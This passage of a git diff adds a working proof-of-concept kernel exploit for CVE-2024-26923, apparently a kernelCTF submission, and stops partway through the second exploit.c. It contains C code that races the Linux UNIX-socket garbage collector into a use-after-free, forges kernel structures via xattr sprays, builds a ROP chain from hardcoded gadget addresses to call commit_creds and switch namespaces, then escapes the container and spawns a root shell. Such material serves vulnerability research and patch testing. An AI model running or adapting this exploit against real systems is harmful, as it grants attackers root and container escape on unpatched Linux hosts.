&saddr, salen) < 0) + err(1, "connect unix"); + +// Race condition part ends here, but we don't know if it succeeded or not + +// server sock closed above + server = recv_fd(pair[1]); + + if (server < 0) { + printf("Did not recv resurrected server sock\n"); + goto FAIL; + } + + c2 = accept(server, (struct sockaddr *) &saddr, &salen); + +// victim sock closed in child_send() + int victims[2]; + if (recv_fds(c2, victims, 1) < 0) { + printf("Did not recv victims\n"); + goto FAIL; + } + + for (int i = 0; i < 15; i++) + { + prepare_sock(g_mmapped_buf + 1088*i); + } + + close(victims[0]); + +// Victim is now freed, but still on gc_inflight_list + + for (int i = 0; i < AFTER_CNT; i++) + { + close(g_socks[UNIX_IDX(AFTER, i)]); + } + + + for (int i = 0; i < PARTIAL_CNT; i++) + { + if ((i % 2) == 0) + close(g_socks[UNIX_IDX(PARTIAL, i)]); + } + +// Increase unix_tot_inflight, otherwise gc won't be triggered + send_fd(pair[0], trigger_sock); + + for (int i = 0; i < 10; i++) + { + alloc_xattr_fd(xattr_fd, i, 0x4000, g_mmapped_buf); + } + + +// trigger gc + close(pair[0]); + +// cleanup +FAIL: + for (int i = 0; i < UNIX_MAX_CHUNK*IDX_MAX; i++) + { + if (g_socks[i]) + close(g_socks[i]); + } + memset(g_socks, 0, sizeof(g_socks)); + + if (client > 0) + close(client); + if (server > 0) + close(server); + close(pair[0]); + close(pair[1]); + close(trigger_sock); + close(c2); + close(gc); + + kill(pid, 9); + int status; + if (waitpid(pid, &status, 0) < 0) + err(1, "waitpid"); + for (int i = 0; i < 10; i++) + { + free_xattr_fd(xattr_fd, i); + } + usleep(80000); +} + +int main(int argc, char **argv) +{ + int ret; + struct rlimit rlim; + + system("cat /proc/cpuinfo"); + + rlim.rlim_cur = rlim.rlim_max = 4096; + if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) + err(1, "setrlimit()"); + + if (0 && argc > 1 && (argv[1][0] == 'f' || argv[1][0] == '0')) { + g_kernel_text = strtoull(argv[1], NULL, 16); + printf("Using kernel base: 0x%lx\n", g_kernel_text); + } else { + printf("Using default kernel base, your chance is 1/512, good luck!\nTry providing leaked kernel base as argv[1]\n"); + + g_kernel_text = 0xffffffff81000000uL; + } + + if (argc > 2 && (argv[2][0] == 'f' || argv[2][0] == '0')) { + g_page_offset_base = strtoull(argv[2], NULL, 16); + } else { + g_page_offset_base = 0xffff888000000000L; + } + + printf("Using page_offset_base 0x%lx\n", g_page_offset_base); + + setbuf(stdout, NULL); + + g_mmapped_buf = mmap(NULL, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE, -1, 0); + if (g_mmapped_buf == MAP_FAILED) { + perror("mmap"); + return 1; + } + + memset(g_mmapped_buf, 0, MMAP_SIZE); + + + +#define ROP2_MMAP_SIZE 0x4000 + g_rop2 = mmap(NULL, ROP2_MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_rop2 == MAP_FAILED) + err(1, "mmap"); + + struct timeval time; + gettimeofday(&time,NULL); + + srand((time.tv_sec * 1000) + (time.tv_usec / 1000)); + + + set_cpu(0); + + + int tfd = timerfd_create(CLOCK_MONOTONIC, 0); + int tfd2 = timerfd_create(CLOCK_MONOTONIC, 0); + + g_stack1 = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); + if (g_stack1 == MAP_FAILED) { + perror("mmap"); + exit(1); + } + + g_event1 = eventfd(0, 0); + create_watches(tfd2, 700); + create_watches(tfd, 700); + + int xattr_fd = open("/tmp/x", O_RDWR|O_CREAT); + if (xattr_fd < 0) + err(1, "xattr open\n"); + + + int xfd = -1; + unsigned int xattr_fd_idx = 0; + char fname[512]; + g_payload_location = g_page_offset_base + 0x06000020; + + printf("Payload location: 0x%lx\n", g_payload_location); + prepare_more_socks(g_mmapped_buf); + + for (int i = 0; i < XATTR_CNT; i++) + { + if (i == 0 || (i / XATTR_CHUNK) > xattr_fd_idx) { + xattr_fd_idx = i / XATTR_CHUNK; + if ((i % 1000) == 0) + printf("xattrs %d/%d\n", i, XATTR_CNT); + + snprintf(fname, sizeof(fname), "/tmp/x_%d", xattr_fd_idx); + + xfd = open(fname, O_RDWR|O_CREAT, 0600); + if (xfd < 0) + err(1, "xattr open\n"); + + } + + alloc_xattr_fd(xfd, i, 65535, g_mmapped_buf); + } + + int fds[FD_PER_SOCKET]; + for (int i = 0; i < FD_PER_SOCKET; i++) + { + fds[i] = socket(AF_NETLINK, SOCK_DGRAM, 0); + if (fds[i] < 0) + err(1, "socket netlink slow"); + } + + printf("parent pid: %d xattr fd: %d %d\n", getpid(), xfd, xattr_fd); + for (int i = 0; i < 10000; i++) + { + one_attempt(tfd, tfd2, xattr_fd, fds); + } + + + if (!g_pwned) { + printf("Failed to trigger vuln, try again!\n"); + _exit(0); + } + + +// Can't exit, everything might crash + while (1) + sleep(1000); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/cos-109-17800.147.54/kernelver_17800.147.54.h b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/cos-109-17800.147.54/kernelver_17800.147.54.h new file mode 100644 index 000000000..f2e43082e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/cos-109-17800.147.54/kernelver_17800.147.54.h @@ -0,0 +1,33 @@ +#define COPY_USER_GENERIC_STRING 0xffffffff821c94c0 +#define PUSH_RDI_JMP_QWORD_RSI_0F 0xffffffff81e07c58 +#define FIND_TASK_BY_VPID 0xffffffff811c1830 +#define POP_RCX 0xffffffff810287ed +#define INIT_CRED 0xffffffff83676ac0 +#define PUSH_RSI_JMP_QWORD_RSI_0F 0x +#define POP_RSI_RDX_RCX 0xffffffff810d8caa +#define INIT_NSPROXY 0xffffffff83676880 +#define SWITCH_TASK_NAMESPACES 0xffffffff811c93f0 +#define PUSH_RAX_JMP_QWORD_RCX 0xffffffff814e39d3 +#define POP_RDI_RSI_RDX_RCX 0xffffffff810d8ca9 +#define POP_RSI_RDI 0xffffffff81ac80f1 +#define POP_RDX_RDI 0xffffffff819079db +#define AUDIT_SYSCALL_EXIT 0xffffffff8127dbf0 +#define RETURN_VIA_SYSRET 0xffffffff822001d1 +#define MEMCPY 0xffffffff821d3f40 +#define COMMIT_CREDS 0xffffffff811cafa0 +#define POP_RSI 0xffffffff8125a40d +#define POP_RSP 0xffffffff81068c70 +#define POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX 0xffffffff810d8ca1 +#define POP_RDI 0xffffffff8118be0c +#define POP_RDX 0xffffffff81048e02 +#define RW_BUFFER 0xffffffff84700000 +#define MSLEEP 0xffffffff81237dd0 +#define SET_MEMORY_RW 0xffffffff81134730 +#define SYS_KEXEC_FILE_LOAD 0xffffffff812589f0 +#define GC_INFLIGHT_LIST 0xffffffff838f6f40 +#define UNIX_FAMILY_OPS 0xffffffff82b3cb00 +#define RETURN_THUNK 0xffffffff82404d40 +#define POP_RSP_RBP_RBX 0xffffffff8111d165 +#define PUSH_RSI_JMP_QWORD_RSI_MINUS70 0xffffffff81e1ba8c +#define G1 0xffffffff81f90db9 +#define MOV_RDI_RAX 0xffffffff8125666d diff --git a/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/lts-6.6.27/Makefile b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/lts-6.6.27/Makefile new file mode 100644 index 000000000..e77c94210 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/lts-6.6.27/Makefile @@ -0,0 +1,9 @@ +INCLUDES = +LIBS = -pthread -ldl +CFLAGS = -fomit-frame-pointer -static -fcf-protection=none + +exploit: exploit.c kaslr.c kernelver_6.6.27.h + gcc -o $@ exploit.c kaslr.c $(INCLUDES) $(CFLAGS) $(LIBS) + +prerequisites: + sudo apt-get install libkeyutils-dev diff --git a/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/lts-6.6.27/exploit b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/lts-6.6.27/exploit new file mode 100755 index 000000000..a208c771b Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/lts-6.6.27/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/lts-6.6.27/exploit.c b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/lts-6.6.27/exploit.c new file mode 100644 index 000000000..0f3b9fc86 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/lts-6.6.27/exploit.c @@ -0,0 +1,1048 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + + +#include "kernelver_6.6.27.h" + +static char *g_mmapped_buf; +static uint64_t g_kernel_text; +char *g_stack1; +#define STACK_SIZE (1024 * 1024) /* Stack size for cloned child */ +uint64_t leak_kernel_text(); +uint64_t leak_direct_mapping(); + + +static int g_event1; + +#define XATTR_HEAD_SIZE 0x20 +#define SLAB_CNT 15 +enum UNIX_IDX_RANGE { + AFTER, + PARTIAL, + PARTIAL2, + FRESH, + FRESH2, + IDX_MAX +}; + +#define PARTIAL_CNT SLAB_CNT*20 +#define PARTIAL2_CNT SLAB_CNT*15 +#define AFTER_CNT SLAB_CNT-1 +#define UNIX_MAX_CHUNK 1000 +#define UNIX_IDX(base, offset) (base*UNIX_MAX_CHUNK + offset) + +static int g_socks[UNIX_MAX_CHUNK*IDX_MAX]; + + +#ifdef DEBUG +#define err(errcode, msg, ...) \ + do { \ + perror(msg); \ + sleep(1000); \ + } while (0) +#define errx(errcode, msg, ...) \ + do { \ + puts(msg); \ + sleep(1000); \ + } while (0) +#endif + + + +void set_cpu(int cpu) +{ + cpu_set_t cpus; + CPU_ZERO(&cpus); + CPU_SET(cpu, &cpus); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) { + perror("setaffinity"); + exit(1); + } +} + +void get_kctf_flag() +{ + char buf[512]; + + + int fd = open("/flag", O_RDONLY); + + if (fd < 0) + return; + + size_t n = read(fd, buf, sizeof(buf)); + if (n > 0) { + printf("Flag:\n"); + + write(1, buf, n); + + printf("\n"); + } + + close(fd); +} + +static char *g_sh_argv[] = {"sh", NULL}; + +static int g_status; + +#define MMAP_SIZE 0x10000 +#define XATTR_CHUNK 1000 +#define XATTR_CNT 6000 + +static uint64_t g_payload_location; +static uint64_t g_page_offset_base; + +static int g_pwned; +static char *g_rop2; +static size_t g_rop2_len; + +#define ROP2_CONST_AREA 0x10 +#define ROP2_CONST_OFFSET 0x200 + +#define KOFFSET(x) (x-0xffffffff81000000uL) + +uint64_t kaddr(uint64_t addr) +{ + return g_kernel_text + addr - 0xffffffff81000000uL; +} + +void __attribute__((naked)) get_root() +{ + asm volatile( + "push %r15\n" + "push %r14\n" + "push %r13\n" + "push %r12\n" + "push %rbx\n" + "push %rbp\n" + "lea -0x2957a1(%rip), %r15\n" + ); + asm volatile( + "lea (%%r15,%0), %%rdi\n" + "lea (%%r15,%1), %%r12\n" + "call *%%r12\n" + :: + "r" (KOFFSET(INIT_CRED)), + "r" (KOFFSET(COMMIT_CREDS)) + ); + asm volatile( + "lea (%%r15,%0), %%r12\n" + "call *%%r12\n" + :: + "r" (KOFFSET(AUDIT_SYSCALL_EXIT)) + ); + + asm volatile( + "lea (%%r15,%0), %%r12\n" + "mov $1, %%rdi\n" + "call *%%r12\n" + "mov %%rax, %%r13\n" + :: + "r" (KOFFSET(FIND_TASK_BY_VPID)) + ); + + asm volatile( + "movq 0x820(%%r13), %%r14\n" + "movq $0x10, (%%r14)\n" + "lea (%%r15,%0), %%rsi\n" + "mov %%r13, %%rdi\n" + "lea (%%r15,%1), %%r12\n" + "call *%%r12\n" + :: + "r" (KOFFSET(INIT_NSPROXY)), + "r" (KOFFSET(SWITCH_TASK_NAMESPACES)) + ); + + asm volatile( + "lea (%%r15,%0), %%rcx\n" + "mov $0x1337, %%rax\n" + "pop %%rbp\n" + "pop %%rbx\n" + "pop %%r12\n" + "pop %%r13\n" + "pop %%r14\n" + "pop %%r15\n" + "jmp *%%rcx\n" + :: + "r" (KOFFSET(RETURN_THUNK)) + ); + +} + +void __attribute__((naked)) after_pwn() +{ +// Fix user stack and recover eflags since we didn't do when returning from kernel mode + asm volatile( + "mov %0, %%rsp\n" + :: "r" (g_mmapped_buf + MMAP_SIZE - 0x100) + ); + + g_pwned = 1; + + + set_cpu(1); + + int pid = fork(); + + if (!pid) { + + if (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0) + perror("setns"); + + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + if (access("/proc/vmallocinfo", R_OK)) { + printf("Exploit failed!\n"); + exit(1); + } + printf("\nGot root!!!\n"); + printf("Getting kctf flags ...\n"); + + get_kctf_flag(); + + printf("Launching shell, system will crash when you exit because I didn't bother with recovery ...\n"); + execve("/bin/sh", g_sh_argv, NULL); + _exit(0); + } + + waitpid(pid, &g_status, 0); + + + + printf("Shell exited, sleeping for 30 seconds, after that system might crash\n"); + + sleep(30); + _exit(0); +} + + +size_t prepare_rop2(uint64_t *rop2, uint64_t *const_area, uint64_t const_area_kernel) + +{ + uint64_t *rop2_start = rop2; + + *rop2++ = kaddr(POP_RDI); + *rop2++ = kaddr(INIT_CRED); + *rop2++ = kaddr(COMMIT_CREDS); + + // Namespace escape based on code by Crusaders of Rust + *rop2++ = kaddr(POP_RDI); + *rop2++ = 1; + *rop2++ = kaddr(FIND_TASK_BY_VPID); + *rop2++ = kaddr(MOV_RDI_RAX); + + *rop2++ = kaddr(POP_RSI); + *rop2++ = kaddr(INIT_NSPROXY); + + *rop2++ = kaddr(SWITCH_TASK_NAMESPACES); + + + *rop2++ = kaddr(POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX); +// eflags + *rop2++ = 0; + rop2 += 6; + +// Userspace RIP + *rop2++ = (uint64_t) after_pwn; + + *rop2++ = kaddr(RETURN_VIA_SYSRET); + + return (char *) rop2 - (char *) rop2_start; +} + + + +int alloc_xattr_fd_attr(int fd, char *attr, size_t size, void *buf) +{ + int res = fsetxattr(fd, attr, buf, size - XATTR_HEAD_SIZE, XATTR_CREATE); + if (res < 0) { + err(1, "fsetxattr"); + } + + return fd; +} + +int alloc_xattr_fd(int fd, unsigned int id, size_t size, void *buf) +{ + char *attr; + + asprintf(&attr, "security.%d", id); + alloc_xattr_fd_attr(fd, attr, size, buf); + + return fd; +} + + +void free_xattr_fd(int fd, int id) +{ + char *attr; + + asprintf(&attr, "security.%d", id); + + fremovexattr(fd, attr); +} + + +int alloc_xattr(unsigned int id, size_t size, void *buf) +{ + int fd; + char *fname; + + asprintf(&fname, "/tmp/xattr%d", id); + fd = open(fname, O_RDWR|O_CREAT); + if (fd < 0) + err(1, "open xattr"); + + alloc_xattr_fd_attr(fd, "security.attr", size, buf); + + return fd; +} + + + +int recv_fds(int sock, int *fds, unsigned cnt) +{ + struct cmsghdr *cmsg; + int ret = -1; + char buf[256]; + char cbuf[CMSG_SPACE(sizeof(int)*cnt)]; + int fd = -1; + + struct iovec iov = { + .iov_base = buf, + .iov_len = 1 + }; + + struct msghdr msg = { + .msg_iov = &iov, + .msg_iovlen = 1, + .msg_control = cbuf, + .msg_controllen = sizeof(cbuf)*cnt + }; + + ret = recvmsg(sock, &msg, MSG_DONTWAIT); + + if (ret < 0) { +// perror("recvmsg unix"); + return ret; + } + + if (ret >= 0) { + if (msg.msg_controllen < 24) + return -1; + cmsg = CMSG_FIRSTHDR(&msg); + memcpy(fds, CMSG_DATA(cmsg), sizeof(fd)*cnt); + + } + return 0; +} + +int recv_fd(int sock) +{ + int fd; + return recv_fds(sock, &fd, 1) ? -1 : fd; +} + +int send_fds(int sock, int *fds, unsigned int cnt) +{ + struct cmsghdr *cmsg; + int ret; + char buf[128]; + char cbuf[CMSG_SPACE(sizeof(int)*cnt)]; + + struct iovec iov = { + .iov_base = buf, + .iov_len = 1 + }; + + struct msghdr msg = { + .msg_iov = &iov, + .msg_iovlen = 1, + .msg_control = cbuf, + .msg_controllen = sizeof(cbuf) + }; + + + cmsg = CMSG_FIRSTHDR(&msg); + cmsg->cmsg_level = SOL_SOCKET; + cmsg->cmsg_type = SCM_RIGHTS; + cmsg->cmsg_len = CMSG_LEN(sizeof(int)*cnt); + + memcpy(CMSG_DATA(cmsg), fds, sizeof(*fds)*cnt); + ret = sendmsg(sock, &msg, 0); + +// if (ret < 0) +// perror("sendmsg fd\n"); + + return ret; + +} + +int send_fd(int sock, int fd) +{ + return send_fds(sock, &fd, 1); +} + +#define DUP_CNT 1300 +#define EPOLL_CNT 550 + + + +void create_watches(int fd, int dup_cnt) +{ + int epoll_fds[EPOLL_CNT]; + int tfd_dups[DUP_CNT]; + + for (int i=0; itv_nsec += usecs * 1000; + + if (ts->tv_nsec >= NSEC_PER_SEC) { + ts->tv_sec++; + ts->tv_nsec -= NSEC_PER_SEC; + } +} + + +struct child_arg { + int tfd; + int sock; + int try; + int delay1; + int delay2; + int victim; + int slowdown; + int gc; + int event; +}; + +int child_send(void *arg) +{ + struct itimerspec its = { 0 }; + struct child_arg *carg = (struct child_arg *) arg; + set_cpu(1); + + + ts_add(&its.it_value, carg->delay2); + + eventfd_t event_value; + eventfd_read(carg->event, &event_value); + + send_fd(carg->sock, carg->victim); + close(carg->victim); + + timerfd_settime(carg->tfd, 0, &its, NULL); + close(carg->gc); + + volatile uint64_t v; + while(1) + { + v++; + } + + sleep(1000); + return v; + +} + + +void prepare_sock(char *buf) +{ +// sk_receive_queue.next + *(uint64_t *) (buf + 0xd8) = 0xcafebabe; +// sk_receive_queue.prev + *(uint64_t *) (buf + 0xd8 + 8) = 0xdeadbeef;; + +// entry 1 +// sk_socket + *(uint64_t *) (buf + 0x270) = g_payload_location + 0x1000 - 0x10; +// link.next + *(uint64_t *) (buf + 0x368) = g_payload_location + 0x1000 + 0x368; +// link.prev + *(uint64_t *) (buf + 0x368 + 8) = 0; +// inflight + *(uint64_t *) (buf + 0x378) = 1; +} + +void prepare_more_socks(char *buf) +{ +// sk_receive_queue.next + *(uint64_t *) (buf + 0xd8) = g_payload_location + 0x3000; +// sk_receive_queue.prev + *(uint64_t *) (buf + 0xd8 + 8) = 0xdeadbeef;; + +// entry 3 +// sk_socket->file + *(uint64_t *) (buf + 0x270) = g_payload_location + 0x2000 - 0x10; +// link.next + *(uint64_t *) (buf + 0x368) = g_payload_location + 0x1600 + 0x368; +// link.prev + *(uint64_t *) (buf + 0x368 + 8) = g_payload_location + 0x1000 + 0x368; +// inflight + *(uint64_t *) (buf + 0x378) = 1; + +// entry 4 +// sk_socket->file + *(uint64_t *) (buf + 0x1600 + 0x270) = g_payload_location + 0x1000 - 0x10; +// link.next + *(uint64_t *) (buf + 0x1600 + 0x368) = kaddr(GC_INFLIGHT_LIST); +// link.prev + *(uint64_t *) (buf + 0x1600 + 0x368 + 8) = g_payload_location + 0x368; +// inflight + *(uint64_t *) (buf + 0x1600 + 0x378) = 1; + +// entry 2 +// sk_socket->file + *(uint64_t *) (buf + 0x1000 + 0x270) = g_payload_location + 0x1000 - 0x10; +// link.next + *(uint64_t *) (buf + 0x1000 + 0x368) = g_payload_location + 0x368; +// link.prev + *(uint64_t *) (buf + 0x1000 + 0x368 + 8) = 0; +// inflight + *(uint64_t *) (buf + 0x1000 + 0x378) = 1; + +// ->file.fcount + *(uint64_t *) (buf + 0x1000) = g_payload_location + 0x1000 + 8 - 0x18; + *(uint64_t *) (buf + 0x1000 + 8) = 2; + +// ->file.fcount for 2nd sock + *(uint64_t *) (buf + 0x2000) = g_payload_location + 0x2000 + 8 - 0x18; + *(uint64_t *) (buf + 0x2000 + 8) = 1; + +// sk_buff +// next + *(uint64_t *) (buf + 0x3000) = g_payload_location + 0xd8; +// prev + *(uint64_t *) (buf + 0x3000 + 8) = kaddr(GC_INFLIGHT_LIST); + + uint64_t *rop = (uint64_t *) (buf + 0x3000 + 0x10); + + uint64_t *rop2 = (uint64_t *) (buf + 0x5100); + prepare_rop2(rop2, (uint64_t *) (buf + 0x6100), g_payload_location + 0x6100); + + *rop++ = kaddr(POP_RSP); + *rop++ = g_payload_location + 0x5100; + +// cb.fp + *(uint64_t *) (buf + 0x3000 + 0x28 + 0x10) = g_payload_location + 0x4000; + + *(uint64_t *) (buf + 0x3000 - 0x70) = kaddr(POP_RSP_RBP_RBX); +// destructor + *(uint64_t *) (buf + 0x3000 + 0x60) = kaddr(G1); + *(uint64_t *) (buf + 0x3000 + 0xc8) = kaddr(PUSH_RSI_JMP_QWORD_RSI_MINUS70); +// users + *(uint32_t *) (buf + 0x3000 + 0xd4) = 1; + + +// fpl.count + *(uint16_t *) (buf + 0x4000) = 1; + +// fpl.fp + *(uint64_t *) (buf + 0x4000 + 0x10) = g_payload_location + 0x4100; + +// struct file->f_inode + *(uint64_t *) (buf + 0x4100 + 0xa8) = g_payload_location + 0x5000; + +// struct socket +// sk + *(uint64_t *) (buf + 0x4f80 + 0x18) = g_payload_location; +// ops + *(uint64_t *) (buf + 0x4f80 + 0x20) = kaddr(UNIX_FAMILY_OPS); +// struct inode +// i_mode + *(uint64_t *) (buf + 0x5000) = 0140000; + +} + +unsigned int parse_zoneinfo(char *buf, char *zone, unsigned int cpu, unsigned int *high, unsigned int *batch) +{ + char *t; + + t = strstr(buf, zone); + + char cpustr[10]; + snprintf(cpustr, sizeof(cpu), "cpu: %d", cpu); + + t = strstr(t, cpustr); + t = strstr(t, "count: "); + + unsigned int cnt = atoi(t+7); + + if (high) { + t = strstr(t, "high: "); + *high = atoi(t+6); + } + + if (batch) { + t = strstr(t, "batch: "); + *batch = atoi(t+7); + } + + return cnt; + +} + +unsigned int get_pagecount(unsigned int cpu, unsigned int *high, unsigned int *batch) +{ + static char zibuf[10000]; + static int fdzi = -1; + + if (fdzi < 0) { + fdzi = open("/proc/zoneinfo", 0, O_DIRECT); + if (fdzi < 0) + err(1, "open zoneinfo"); + } + + lseek(fdzi, SEEK_SET, 0); + read(fdzi, zibuf, sizeof(zibuf)); + + return parse_zoneinfo(zibuf, "zone DMA32", cpu, high, batch); +} + +int get_fresh_unix(unsigned int cpu, int xattr_fd) +{ + unsigned int pcp1, pcp2; + + +// Prefill PCP order 2 + for (int i = 0; i < 10; i++) + { + alloc_xattr_fd(xattr_fd, 1000+i, 0x4000, g_mmapped_buf); + } + + for (int i = 0; i < 10; i++) + { + free_xattr_fd(xattr_fd, 1000+i); + } + + unsigned int detected = 0; + + pcp1 = get_pagecount(cpu, NULL, NULL); + +// Get fresh sock_inode_cache slab + for (unsigned int i = 0; i < SLAB_CNT*10; i++) + { + g_socks[UNIX_IDX(FRESH, i)] = socket(AF_NETLINK, SOCK_STREAM, 0); + pcp2 = get_pagecount(cpu, NULL, NULL); + int delta = pcp2 - pcp1; + pcp1 = pcp2; + + if (i > 1 && (delta <= -4 && delta > -8)) { + detected = 1; + break; + } + + } + + if (!detected) + errx(1, "Unable to detect fresh sock_inode slab"); + + + detected = 0; + + int first_unix; + for (unsigned int i = 0; i < SLAB_CNT*10; i++) + { + g_socks[UNIX_IDX(FRESH2, i)] = socket(AF_UNIX, SOCK_STREAM, 0); + pcp2 = get_pagecount(cpu, NULL, NULL); + int delta = pcp2 - pcp1; + + if (delta <= -4 && delta > -8) { + detected = 1; + first_unix = g_socks[UNIX_IDX(FRESH2, i)]; + break; + } + + pcp1 = pcp2; + } + + if (!detected) + errx(1, "Unable to detect fresh UNIX slab"); + + + return first_unix; +} + +#define FD_PER_SOCKET 250 +void one_attempt(int tfd, int tfd2, int xattr_fd, int *fds) +{ + int pair[2]; + static unsigned int try = 0; + int c2; + + int oldgc = socket(AF_UNIX, SOCK_STREAM, 0); + + + for (int i = 0; i < PARTIAL_CNT; i++) + { + g_socks[UNIX_IDX(PARTIAL, i)] = socket(AF_UNIX, SOCK_STREAM, 0); + } + + for (int i = 0; i < PARTIAL2_CNT; i++) + { + g_socks[UNIX_IDX(PARTIAL2, i)] = socket(AF_UNIX, SOCK_STREAM, 0); + } + + int victim = get_fresh_unix(0, xattr_fd); + + + int gc = dup(oldgc); + close(oldgc); + for (int i = 0; i < AFTER_CNT; i++) + { + g_socks[UNIX_IDX(AFTER, i)] = socket(AF_UNIX, SOCK_STREAM, 0); + } + + + if (socketpair(AF_UNIX, SOCK_STREAM, 0, pair) < 0) + err(1, "unix pari"); + + int server = socket(AF_UNIX, SOCK_STREAM, 0); + if (server < 0) + err(1, "socket unix"); + +// Increase node->nr_partial + for (int i = 0; i < PARTIAL2_CNT; i++) + { + if ((i % 4) == 0) + close(g_socks[UNIX_IDX(PARTIAL2, i)]); + } + + struct sockaddr_un saddr; + saddr.sun_family = AF_UNIX; + int salen = sizeof(saddr.sun_family) + sprintf(saddr.sun_path, "%c/unix-gc-%d", '\0', getpid()); + + if (bind(server, (struct sockaddr *)&saddr, salen) < 0) + err(1, "unix bind"); + + if (listen(server, -1) < 0) + err(1, "listen"); + + send_fd(pair[0], server); + close(server); + + + int client = socket(AF_UNIX, SOCK_STREAM, 0); + if (client < 0) + err(1, "socket unix"); + int trigger_sock = socket(AF_UNIX, SOCK_STREAM, 0); + if (trigger_sock < 0) + err(1, "socket unix"); + + struct child_arg carg = { + .tfd = tfd, + .try = try++, + .sock = client, + .victim = victim, + .gc = gc, + .event = g_event1 + }; + + carg.delay1 = 20; + carg.delay2 = 20; + printf("delays: %d %d try: %d\n", carg.delay1, carg.delay2, carg.try); + usleep(50000); + + pid_t pid = clone(child_send, g_stack1 + STACK_SIZE, CLONE_FS | CLONE_FILES | SIGCHLD, (void *) &carg); + + sleep(0.1); + eventfd_write(g_event1, 1); + + struct itimerspec its = { 0 }; + ts_add(&its.it_value, carg.delay1); + timerfd_settime(tfd2, 0, &its, NULL); + + if (connect(client, (struct sockaddr *) &saddr, salen) < 0) + err(1, "connect unix"); + +// Race condition part ends here, but we don't know if it succeeded or not + +// server sock closed above + server = recv_fd(pair[1]); + + if (server < 0) { + printf("Did not recv resurrected server sock\n"); + goto FAIL; + } + + c2 = accept(server, (struct sockaddr *) &saddr, &salen); + +// victim sock closed in child_send() + int victims[2]; + if (recv_fds(c2, victims, 1) < 0) { + printf("Did not recv victims\n"); + goto FAIL; + } + + for (int i = 0; i < 15; i++) + { + prepare_sock(g_mmapped_buf + 1088*i); + } + + close(victims[0]); + +// Victim is now freed, but still on gc_inflight_list + + for (int i = 0; i < AFTER_CNT; i++) + { + close(g_socks[UNIX_IDX(AFTER, i)]); + } + + + for (int i = 0; i < PARTIAL_CNT; i++) + { + if ((i % 2) == 0) + close(g_socks[UNIX_IDX(PARTIAL, i)]); + } + +// Increase unix_tot_inflight, otherwise gc won't be triggered + send_fd(pair[0], trigger_sock); + + for (int i = 0; i < 10; i++) + { + alloc_xattr_fd(xattr_fd, i, 0x4000, g_mmapped_buf); + } + + +// trigger gc + close(pair[0]); + +// cleanup +FAIL: + for (int i = 0; i < UNIX_MAX_CHUNK*IDX_MAX; i++) + { + if (g_socks[i]) + close(g_socks[i]); + } + memset(g_socks, 0, sizeof(g_socks)); + + if (client > 0) + close(client); + if (server > 0) + close(server); + close(pair[0]); + close(pair[1]); + close(trigger_sock); + close(c2); + close(gc); + + kill(pid, 9); + int status; + if (waitpid(pid, &status, 0) < 0) + err(1, "waitpid"); + for (int i = 0; i < 10; i++) + { + free_xattr_fd(xattr_fd, i); + } + usleep(80000); +} + +int main(int argc, char **argv) +{ + int ret; + struct rlimit rlim; + + system("cat /proc/cpuinfo"); + + rlim.rlim_cur = rlim.rlim_max = 4096; + if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) + err(1, "setrlimit()"); + + g_kernel_text = leak_kernel_text(); + printf("Using kernel base: 0x%lx\n", g_kernel_text); + + g_page_offset_base = leak_direct_mapping(); + printf("Using page_offset_base 0x%lx\n", g_page_offset_base); + + + setbuf(stdout, NULL); + + g_mmapped_buf = mmap(NULL, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE, -1, 0); + if (g_mmapped_buf == MAP_FAILED) { + perror("mmap"); + return 1; + } + + memset(g_mmapped_buf, 0, MMAP_SIZE); + + + +#define ROP2_MMAP_SIZE 0x4000 + g_rop2 = mmap(NULL, ROP2_MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_rop2 == MAP_FAILED) + err(1, "mmap"); + + struct timeval time; + gettimeofday(&time,NULL); + + srand((time.tv_sec * 1000) + (time.tv_usec / 1000)); + + + set_cpu(0); + + + int tfd = timerfd_create(CLOCK_MONOTONIC, 0); + int tfd2 = timerfd_create(CLOCK_MONOTONIC, 0); + + g_stack1 = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); + if (g_stack1 == MAP_FAILED) { + perror("mmap"); + exit(1); + } + + g_event1 = eventfd(0, 0); + create_watches(tfd2, 700); + create_watches(tfd, 700); + + int xattr_fd = open("/tmp/x", O_RDWR|O_CREAT); + if (xattr_fd < 0) + err(1, "xattr open\n"); + + + 